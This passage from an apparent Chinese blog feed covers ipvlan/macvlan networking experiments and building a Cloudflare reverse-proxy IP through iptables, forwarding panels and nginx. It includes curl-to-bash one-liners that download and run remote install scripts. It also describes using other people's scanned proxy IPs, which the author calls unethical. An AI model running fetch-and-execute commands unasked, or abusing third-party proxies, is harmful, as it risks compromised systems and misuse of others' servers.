&lt;pre&gt;&lt;code&gt; ipvlan 有点像路由器的功能，它在各个虚拟网络和主机网络之间进行不同网络报文的路由转发工作。只要父接口相同，即使虚拟机&amp;#x2F;容器不在同一个网络，也可以互相 ping 通对方，因为 ipvlan 会在中间做报文的转发工作。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;模式架构图:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-macvlan&#x2F;ipvlan-mode-architecture.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yan-1&quot;&gt;实验&lt;&#x2F;h4&gt;
&lt;p&gt;创建IPVlan L3模式
[root@localhost ~]#ip link add link ens224 ipvlan1 type ipvlan mode l3[root@localhost ~]#ip link add link ens224 ipvlan2 type ipvlan mode l3&lt;&#x2F;p&gt;
&lt;p&gt;注意看ipvlan1 和ipvlan2 的MAC地址跟ens224的一样
[root@localhost ~]# ip link
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
link&#x2F;loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens192: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
link&#x2F;ether 00:0c:29:05:18:ac brd ff:ff:ff:ff:ff:ff
3: ens224: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff
4: ipvlan1@enp0s3: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff
5: ipvlan2@enp0s3: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
link&#x2F;ether &lt;strong&gt;00:0c:29:05:18:b6&lt;&#x2F;strong&gt; brd ff:ff:ff:ff:ff:ff&lt;&#x2F;p&gt;
&lt;p&gt;创建ns绑定接口
[root@localhost ~]#ip net add net-1[root@localhost ~]#ip net add net-2
[root@localhost ~]#ip link set ipvlan1 netns net-1[root@localhost ~]#ip link set ipvlan2 netns net-2&lt;&#x2F;p&gt;
&lt;p&gt;配置IP
[root@localhost ~]#ip net exec net-1 ip addr add 10.0.2.18&#x2F;24 dev ipvlan1[root@localhost ~]#ip net exec net-2 ip addr add 10.0.3.19&#x2F;24 dev ipvlan2
[root@localhost ~]#ip net exec net-1 ip link set ipvlan1 up[root@localhost ~]#ip net exec net-2 ip link set ipvlan2 up&lt;&#x2F;p&gt;
&lt;p&gt;增加路由
[root@localhost ~]#ip net exec net-1 route add default dev ipvlan1[root@localhost ~]#ip net exec net-2 route add default dev ipvlan2&lt;&#x2F;p&gt;
&lt;p&gt;ping测试
2个ns可以正常互相ping通,无法ping通宿主机IP&lt;&#x2F;p&gt;
&lt;p&gt;抓取ARP报文，结果无法在L3模式中抓到ARP，说明二层广播和组播都不处理，工作在L3.(这就是和L2模式的区别)
[root@localhost ~]#ip net exec net-1 tcpdump -ni ipvlan1 -p arp&lt;&#x2F;p&gt;
&lt;p&gt;创建L2模式，其余操作跟L3一样
ip link add link enp0s3 ipvlan1 type ipvlan mode l2
ip link add link enp0s3 ipvlan2 type ipvlan mode l2&lt;&#x2F;p&gt;
&lt;p&gt;区别在于L2可以在2个ns中抓取到ARP报文&lt;&#x2F;p&gt;
&lt;p&gt;总结:
ipvlan L3模式中外部网络默认情况下是不知道 ipvlan 虚拟出来的网络的，如果不在外部路由器上配置好对应的路由规则，ipvlan 的网络是不能被外部直接访问的。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;wen-ti-jie-shao&quot;&gt;问题介绍&lt;&#x2F;h5&gt;
&lt;p&gt;最近在做将项目放入&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=docker&amp;amp;spm=1001.2101.3001.7020&quot;&gt;docker&lt;&#x2F;a&gt;容器中启动，运行。项目中需要开启DHCP服务，不运行不知道，一运行就发现问题了，由于docker容器和其宿主机不在一个广播域内，所以在容器中启动的DHCP服务收不到宿主机局域网内的广播报文，就无法正常进行DHCP服务的工作&lt;&#x2F;p&gt;
&lt;h5 id=&quot;fang-an&quot;&gt;方案&lt;&#x2F;h5&gt;
&lt;p&gt;通过查阅资料和官方文档，发现macvlan这种网络模式可以是容器直接连接到物理网络，解决我们的问题。但是官网同时说了这种模式只支持Linux系统下的docker，对于windows和Mac系统下不支持。但是我是需要运行在windows系统下的，所以我采用的方式是在windows下安装一个Linux虚拟机，然后在虚拟机中运行docker。
官网链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;network&#x2F;network-tutorial-macvlan&#x2F;&quot;&gt;https:&#x2F;&#x2F;docs.docker.com&#x2F;network&#x2F;network-tutorial-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;bu-zou&quot;&gt;步骤&lt;&#x2F;h5&gt;
&lt;p&gt;1.开启虚拟机网卡的混杂模式（对于直接在Linux系统下的不需要此步骤）
在VirtualBox下选择安装的虚拟机，点击设置，选择左侧网络菜单，选择网卡进行如下配置。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;连接方式：连接方式需要选择桥接网卡，使虚拟机和windows宿主机在同一局域网内
界面名称：在windows cmd窗口执行&lt;code&gt;ipconfig &#x2F;all&lt;&#x2F;code&gt; ,查看对应物理网卡的描述，在界面名称选择需要桥接的物理网卡
混杂模式：选择全部允许（如果在启动后修改混杂模式，建议进行重启后尝试；我在虚拟机启动中修改混杂模式为拒绝后，发现ping立马不通，再改回全部允许也ping不通，需要重启）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;virtualbox-bridged-network.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;virtualbox-bridged-network-2.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2.设置Linux系统网卡开启混杂模式
在终端输入&lt;code&gt;ip link set enp0s8 promisc on&lt;&#x2F;code&gt; 开启网卡接口enp0s8的混杂模式，enp0s8根据实际配置网卡填写
在终端输入&lt;code&gt;ifconfig&lt;&#x2F;code&gt;查看是否开启混杂模式，显示有PROMISC即为混杂模式已开启
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;ifconfig-promisc-mode-check.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
3.创建docker network，启动容器&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker network create -d macvlan --subnet=192.168.50.0&amp;#x2F;24 --gateway=192.168.50.1 -o parent=enp0s8 mymacvlan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;–subnet 填写enp0s8网卡网段 parent= 填写需要连接到宿主机物理网络的对应网卡
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;docker-macvlan-network-create.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
执行命令 &lt;code&gt;docker run -itd --network=mymacvlan --ip=192.168.50.20 --name=centos-test centos&lt;&#x2F;code&gt; 进行启动容器
–network：指定为上面创建的网络
–ip：指定IP地址，如果不指定的话会自动分配。建议自己指定，可避免IP地址冲突问题
启动完成后，通过docker exec 进入容器中，进行操作，查看IP地址，ping windows，使用tcpdump抓包进行查看能否收到&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=DHCP&amp;amp;spm=1001.2101.3001.7020&quot;&gt;DHCP&lt;&#x2F;a&gt;广播包。发现能ping通windows和与windows相通的机器，能抓包到DHCP包。大功告成。
容器和Linux宿主机是不能ping通的
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-macvlan-lan&#x2F;macvlan-container-same-lan.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
至此，就已经完成了需要容器和其宿主机某一网卡在同一局域网内，可以接收宿主机的物理网络啦。在使用此种方式启动时，可以不用映射端口，可以直接使用容器IP+端口进行访问了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>搭建属于自己的cloudflare反代IP | tanglu&#x27;s blog</title>
        <published>2024-07-02T00:00:00+00:00</published>
        <updated>2024-07-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/搭建属于自己的cloudflare反代ip-tanglu-s-blog/"/>
        <id>https://vercel.juzhong.asia/obsidian/搭建属于自己的cloudflare反代ip-tanglu-s-blog/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/搭建属于自己的cloudflare反代ip-tanglu-s-blog/">&lt;h1 id=&quot;da-jian-shu-yu-zi-ji-de-cloudflarefan-dai-ip-tanglu-s-blog&quot;&gt;搭建属于自己的cloudflare反代IP | tanglu&#x27;s blog&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.tanglu.me&#x2F;cloudflare_proxy_ip&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.tanglu.me&#x2F;cloudflare_proxy_ip&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;yi-qian-yan&quot;&gt;一、前言&lt;&#x2F;h2&gt;
&lt;p&gt;cloudflare虽然是一家cdn服务商，但其丰富的规则配合workers往往可以实现很多我们所需要的功能，还有反机器人验证等等防护功能。&lt;&#x2F;p&gt;
&lt;p&gt;但是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XIU2&#x2F;CloudflareSpeedTest&#x2F;issues&#x2F;217&quot;&gt;cloudflare的IP现在经常被国内地区运营商间歇性屏蔽&lt;&#x2F;a&gt; ，之前通过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=uKXVXaa5_YI&quot;&gt;不良林大佬的视频&lt;&#x2F;a&gt;初次了解了&lt;strong&gt;反代了CF IP的IP&lt;&#x2F;strong&gt;(也被称作非cloudflare官方节点) ，确实可以解决cloudflare国内访问慢的问题，参考了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aoyouer.com&#x2F;posts&#x2F;danger-of-cloudflare-transit&#x2F;&quot;&gt;中转cloudflare的安全隐患与隐患利用&lt;&#x2F;a&gt; 这篇文章后知道这类 &lt;code&gt;反代了CF IP的IP&lt;&#x2F;code&gt; 其实可以通过像iptables这类中转程序 同端口转发到cloudflare，实现既加速访问 又用到了cloudflare某些功能&lt;&#x2F;p&gt;
&lt;p&gt;本文记录一下利用常见的中转协议搭建一个属于自己的 &lt;code&gt;cloudflare反代IP&lt;&#x2F;code&gt; ，类似前置代理&lt;&#x2F;p&gt;
&lt;p&gt;链路为：用户 &amp;gt;&amp;gt; 自己的vps &amp;gt;&amp;gt; cloudflare cdn &amp;gt;&amp;gt; 源服务器&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文是站在服务端视角，所做的均为对自己的服务端优化，让所有用户尽可能有更好的体验&lt;&#x2F;p&gt;
&lt;p&gt;而不是站在客户视角 去让自己更好的访问什么&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;er-da-jian-fang-fa&quot;&gt;二、搭建方法&lt;&#x2F;h2&gt;
&lt;p&gt;其实原理很简单，就是将自己(速度快的)vps的端口转发到cloudflare对应的端口&lt;&#x2F;p&gt;
&lt;p&gt;测试中我会将我的vps 80&#x2F;442&#x2F;8080&#x2F;8443 端口转发到cloudflare官网IP对应的 80&#x2F;442&#x2F;8080&#x2F;8443&lt;&#x2F;p&gt;
&lt;p&gt;更多cloudflare允许的端口可以查看 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;fundamentals&#x2F;get-started&#x2F;reference&#x2F;network-ports&#x2F;&quot;&gt;官方文档&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我测试机器都是境外vps 所以vps和cloudflare交互的数据不需要加密直接iptables转发就行(当然我也没有权限操作cloudflare服务器 也设置不了) ，这样并不会对cloudflare的IP造成任何影响&lt;&#x2F;p&gt;
&lt;p&gt;如果你是用的国内服务器，我不建议你直接将流量转发到cloudflare的IP，这样可能会使防火墙对这个IP进行封锁。你可以选择再拿一台国外vps组隧道并加密数据，这样防火墙只可能封禁你的两个节点机&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;fa-yi-iptableszhong-zhuan&quot;&gt;法一：iptables中转&lt;&#x2F;h4&gt;
&lt;p&gt;最直接的就是iptables直接转发，后续的方法也是基于 iptables&#x2F; 等端口转发工具开发的程序实现&lt;&#x2F;p&gt;
&lt;p&gt;我对iptables的端口转发操作不太熟悉，这里使用 arloor 大佬的一键脚本：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;arloor&#x2F;iptablesUtils&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;arloor&#x2F;iptablesUtils&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此方法演示机器：5.78.90.112&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1、执行脚本&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL https:&#x2F;&#x2F;www.arloor.com&#x2F;sh&#x2F;iptablesUtils&#x2F;natcfg.sh)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;依次添加80&#x2F;443等你需要的端口即可&lt;&#x2F;p&gt;
&lt;p&gt;你可以随意设置一个属于cloudflare cdn的IP，我这里简便就直接写的cloudflare官网&lt;&#x2F;p&gt;
&lt;p&gt;可以看到添加后这台vps会将所有的80端口流量(tcp&amp;amp;udp)全部转发到104.16.132.229:80&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;建议用其他cloudflare的IP而非cloudflare官网，否则可能会出现1034报错，下文有提到&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;iptables-natcfg-port-forward.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2、测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;测试需要你的域名已经CNAME接入cloudflare(不会的可以参考：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.tanglu.me&#x2F;cloudflare-configure&#x2F;#Custom-Hostnames&quot;&gt;https:&#x2F;&#x2F;blog.tanglu.me&#x2F;cloudflare-configure&#x2F;#Custom-Hostnames&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;因为cloudflare官方的限制，不能随意自选，因为即使SaaS接入后cloudflare也会每次检查你的接入域名是否CNAME指向 Fallback Origin。但是因为cloudflare dns服务器在国外(应该是在美国)这就让我们国内有机可乘，即国内可以自选，国外走官方CNAME&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;iptables-forward-relay.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如下图，成功转发流量，类似前置代理&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;cloudflare-proxy-forwarding.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;iptables-traffic-forward-success.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fa-er-li-yong-duan-kou-zhuan-fa-guan-li-mian-ban&quot;&gt;法二、利用端口转发管理面板&lt;&#x2F;h4&gt;
&lt;p&gt;常见的端口转发管理面板有 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;noobcfy&#x2F;wikis&#x2F;wiki&#x2F;2%E3%80%81%E5%AE%89%E8%A3%85&quot;&gt;咸蛋面板&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Aurora-Admin-Panel&#x2F;deploy&quot;&gt;极光面板&lt;&#x2F;a&gt; (都支持ipv6)&lt;&#x2F;p&gt;
&lt;p&gt;咸蛋面板免费版只支持iptables协议，极光面板纯免费支持 iptables socat gost ehco realm brook等中转协议，这里我以极光面板的realm中转为例&lt;&#x2F;p&gt;
&lt;p&gt;此方法演示机器：5.78.101.164&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1、一键脚本安装极光面板&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;执行官方一键安装脚本，执行后选 &lt;code&gt;1. 安装 极光面板&lt;&#x2F;code&gt; ，设置管理员邮箱和密码，通过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;ip:8000&#x2F;&quot;&gt;http:&#x2F;&#x2F;ip:8000&lt;&#x2F;a&gt; 访问&lt;&#x2F;p&gt;
&lt;p&gt;国内机器连接不了github可能需要自己想办法，似乎docker好像也被国内屏蔽了&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;bash &amp;lt;(curl -fsSL https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;Aurora-Admin-Panel&#x2F;deploy&#x2F;main&#x2F;install.sh)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#修改密码 修改端口啥的，再次执行这个脚本就会出现控制台&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;添加中转服务器，这里我演示就用这台面板机器了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;port-forward-panel-console.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;显示连接成功后，点击查看端口，添加端口即可，我这里测试就添加80和433&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;aurora-panel-port-list.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;添加转发，选择你喜欢的中转程序(有些不是中转程序而是代理程序)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;port-forward-traffic-limit.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;激光面板还可以限制端口的流量和出入站速度，点击 &lt;code&gt;修改端口&lt;&#x2F;code&gt; 进行配置&lt;&#x2F;p&gt;
&lt;p&gt;如这个配置就表示443这个端口出站+入站总能量为2TB，超出后限速1Mbit&#x2F;s(约为1Mbps)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;panel-port-traffic-limit.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2、测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;测试正常&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;port-forward-panel-test.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fa-san-shi-yong-nginxde-si-ceng-zhuan-fa&quot;&gt;法三、使用nginx的四层转发&lt;&#x2F;h4&gt;
&lt;p&gt;这里我直接用cdnfly提供的转发程序，我自己对nginx的stream模块不太了解&lt;&#x2F;p&gt;
&lt;p&gt;安装配置cdnfly可以参考我这篇记录：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.tanglu.me&#x2F;cdnfly&#x2F;&quot;&gt;使用cdnfly自建CDN并配置CC防护&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此方法演示节点机器：159.223.69.251&lt;&#x2F;p&gt;
&lt;p&gt;我80 443被nginx占用了，就用的8443端口反代的 1.0.0.1:8443&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;nginx-8443-reverse-proxy.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;nginx-stream-proxy-8443.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;测试正常&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;nginx-stream-proxy-test.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-jie-yong-qi-ta-ren-de-fan-dai-ip&quot;&gt;三、借用其他人的反代IP&lt;&#x2F;h2&gt;
&lt;p&gt;上面三种搭建方法都是使用的自己的vps，大多数用户可能想(不道德的)直接用其他人已经反代好的IP，其实是可以的，这里记录一下知道这些反代IP可以做什么&lt;&#x2F;p&gt;
&lt;p&gt;此节的测试IP为我之前搭的已经反代CF的IP：5.78.90.112&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-jia-su-zi-ji-de-wang-zhan&quot;&gt;1、加速自己的网站&lt;&#x2F;h4&gt;
&lt;p&gt;上一节搭建中的三个测试都是CNAME接入到cloudflare自选IP，你也可以这样做，方法一模一样 这里就不再演示&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-jia-su-fang-wen-qi-ta-ren-de-wang-zhan&quot;&gt;2、加速访问其他人的网站&lt;&#x2F;h4&gt;
&lt;p&gt;比如我要加速访问 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.nodeseek.com&#x2F;&quot;&gt;www.nodeseek.com&lt;&#x2F;a&gt; ，我没有对该域名DNS的解析权，这里只能修改hosts文件&lt;&#x2F;p&gt;
&lt;p&gt;win10的hosts文件在 &lt;code&gt;C:\Windows\System32\drivers\etc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在上节中 5.78.90.112:443 是转发到了 cloudflare.com:443&lt;&#x2F;p&gt;
&lt;p&gt;这里如果访问nodeseek的话，就不能填写cloudflare.com 会产生 1034报错&lt;&#x2F;p&gt;
&lt;p&gt;可能一些IP是cloudflare自己服务专用的吧(不过这也不好解释为什么cname接入后就可以使用这些IP)，你换成其他的一个IP就可以了 例如 digitalocean.com:443&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;windows-hosts-file-edit.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;cloudflare-proxy-other-sites.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudflare-reverse-proxy-ip&#x2F;cf-proxy-nodeseek-devtools.webp&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-fu-qiang-shang-wang&quot;&gt;3、富强上网&lt;&#x2F;h4&gt;
&lt;p&gt;这个不难，和套cdn&#x2F;中转服务 类似&lt;&#x2F;p&gt;
&lt;p&gt;server填写反代的IP 有域名的话clash是设置sni v2rayN是设置伪装域名(host)&lt;&#x2F;p&gt;
&lt;p&gt;可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=uKXVXaa5_YI&quot;&gt;不良林大佬的教程&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里不建议瞎搞的小伙伴直接使用扫描到的国内IP，一个是不安全 你无法判断数据是否被监听，另一个是可能扫描到的国内机器到国外(如cloudflare)速度并不好 可能和你直连cloudflare速度差不多(毕竟都是国内访问国外)，如果真的想用国内IP 建议再买个国外vps搭隧道，并确保国内机器和国内机器连通速度(可以使用iperf3等工具速)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-chang-jian-wen-ti&quot;&gt;四、常见问题&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;为什么开头要强调服务端视角和客户端视角&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因为如果文中端口转发机器的所有者不同 会造成机器的属性不同。比如如果这台端口转发机属于用户，那么他(用户)只是用来让自己一个人更好的访问，机器由用户操作，机器的角色相当于用户的前置代理(类似于客户端开启富强软件)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;作为用户 我可以直接使用反代了CF IP的IP吗&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;的确可以 &lt;sub&gt;滥用&lt;&#x2F;sub&gt; 借用这些IP来实现自己某些目的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此方法cloudflare防ddos还起作用吗?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;不起作用，用自己vps端口转发后，防dd效果完全取决于你的前置代理机，也就是取决于你的前置代理机的机房&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;nat机可以吗?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;可以，例如将nat机的50001端口转发到cf 80端口，将50002端口转发到cf 443端口，但是这样访问的话需要带上对应的端口号(如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.tanglu.me:50002&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.tanglu.me:50002&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只能转发到cloudflare吗？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;很明显不是，你可以转发其他cdn的IP或者像 扩展 中的搭建隧道cdn等&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只能处理http协议的内容吗？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
